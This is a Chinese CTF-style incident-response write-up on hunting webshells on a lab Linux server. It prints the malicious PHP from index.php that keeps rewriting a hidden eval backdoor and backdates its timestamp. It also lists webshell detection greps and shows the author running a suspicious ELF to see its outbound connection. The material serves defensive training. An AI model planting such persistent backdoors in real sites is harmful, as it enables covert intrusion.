第一章 应急响应- Linux入侵排查 wp

简介

账号:root 密码:linuxruqin
ssh root@IP
1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交
参考文章:
玄机——第一章 应急响应- Linux入侵排查 wp_玄机应急-CSDN博客
关于websell的参考文章:
https://developer.aliyun.com/article/1398002

手动排查

使用Xshell连接到靶场

1.web目录存在木马,请找到木马的密码提交

第一问说是在web目录下存在木马,使用find命令定位木马位置

//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find / type f -name ".jsp" | xargs grep "exec("
find / type f -name ".php" | xargs grep "eval("
find / type f -name ".asp" | xargs grep "execute("
find / type f -name ".aspx" | xargs grep "eval("

//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"

命令解释

find / type f -name ".jsp" | xargs grep "exec("
1.
find / type f -name ".jsp" 
  find为查找文件命令
  /表示从本目录下寻找
  type f表示仅匹配文件
  -name ".jsp"表示查找时匹配后缀为.jsp的文件
2.
  |为管道符,可以将一个命令的输出作为另一个命令的输入
3.
xargs grep "exec("
  xargs:将前一个命令的输出作为参数传递给后面的命令
  grep 
    语法: grep [选项] "搜索模式" [文件]
    eg:grep "error" log.txt #在log.txt文件中搜索error文件

命令的意思就是使用find搜索后缀为.jsp的文件,并在文件中搜索"exec("字符,搜索到后打印出来

使用命令查询后发现三个可疑文件
b6d0e418084ff71fd0eb9806ec386e76
那么答案显而易见,在1.php中包含有明显的一句话木马特征,故而第一题flag为

flag{1}

2.服务器疑似存在不死马,请找到不死马的密码提交

在启动中查看

cat /etc/rc.local
查看 /etc/rc.local 文件内容,这个文件包含系统启动时自动执行的命令
ls /etc/init.d/
列出 /etc/init.d/ 目录下的文件,各种服务的启动、停止、重启脚本
systemctl list-unit-files --type=service
查看所有服务的状态

均无线索
刚刚找到的三个文件都在/var/www/html文件夹下面,故而切换到该目录下,分别查看三个文件

cd /var/www/html

5721504149774ba402f9ad4fbd0011f4
在index.php文件中看到以下代码

<?php
include('config.php');
include(SYS_ROOT.INC.'common.php');
$path=$_SERVER['PATH_INFO'].($_SERVER['QUERY_STRING']?'?'.str_replace('?','',$_SERVER['QUERY_STRING']):'');
if(substr($path, 0,1)=='/'){
	$path=substr($path,1);
}
$path = Base::safeword($path);
$ctrl=isset($_GET['action'])?$_GET['action']:'run';
if(isset($_GET['createprocess']))
{
	Index::createhtml(isset($_GET['id'])?$_GET['id']:0,$_GET['cat'],$_GET['single']);
}else{
	Index::run($path);
}
$file = '/var/www/html/.shell.php';
$code = '<?php if(md5($_POST["pass"])=="5d41402abc4b2a76b9719d911017c592"){@eval($_POST[cmd]);}?>';
file_put_contents($file, $code);
system('touch -m -d "2021-01-01 00:00:01" .shell.php');//更新时间戳,如果查看文件详细信息就会表示这是一个旧文件
usleep(3000);
?>

代码大意为在/var/www/html创建.shell.php文件,每过3000毫秒重复一次
那么就很清晰了,黑客留下的不死马是.shell.php文件,使用md5解密
44736dcdbaf1f7c383975cd37c3b473b

flag{hello}

3.不死马是通过哪个文件生成的,请提交文件名

flag{index.php}

4.黑客留下了木马文件,请找出黑客的服务器ip提交

先在linux日志中查看

cd /var/log
转到日志目录
grep "shell.php" /var/log/auth.log.1 
//查找shell.php文件提交记录
cat auth.log.1 |grep "Accepted password" 
//在日志中寻找登录成功的信息

均无回显说明webshell是通过其他方式写入
0b6c87787a0c5c837a9937a923b5e363
回到/var/www/html目录
ls查看所有文件
image
发现一个可疑文件`shell(1).elf'
参考大佬帖子学到的办法
先对文件进行提权

chmod 777 `shell(1).elf'

提权后运行,此时运行是无回显的
我们使用xshell重新建立一个连接
使用命令查看

netstat -antlp | more
命令解释
  netstat:网络统计工具,显示网络连接、路由表、接口统计等
    选项参数:
      -a:显示所有连接(包括监听和非监听)
      -n:以数字形式显示地址和端口(不解析域名和服务名)
      -t:仅显示 TCP 连接
      -l:仅显示监听状态的套接字
      -p:显示进程ID和程序名称
  | more:分页显示输出,避免内容过长时快速滚动

好了,后两问直接出来了
ccba5eb72af8b9f7efcf6a6b7ed719a9

图片解释:
  Proto:协议类型(TCP/UDP)
  Recv-Q/Send-Q:接收和发送队列大小
  Local Address:本地IP地址和端口
  Foreign Address:远程IP地址和端口
  State:连接状态
    常见连接状态
      LISTEN:服务正在监听端口
      ESTABLISHED:已建立的连接
      TIME_WAIT:等待关闭的连接
      CLOSE_WAIT:远程端已关闭,本地等待关闭
  PID/Program name:进程ID和程序名称
flag{10.11.55.21}

5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

flag{3333}
posted @ 2025-10-12 21:25  云臣  阅读(45)  评论(0)    收藏  举报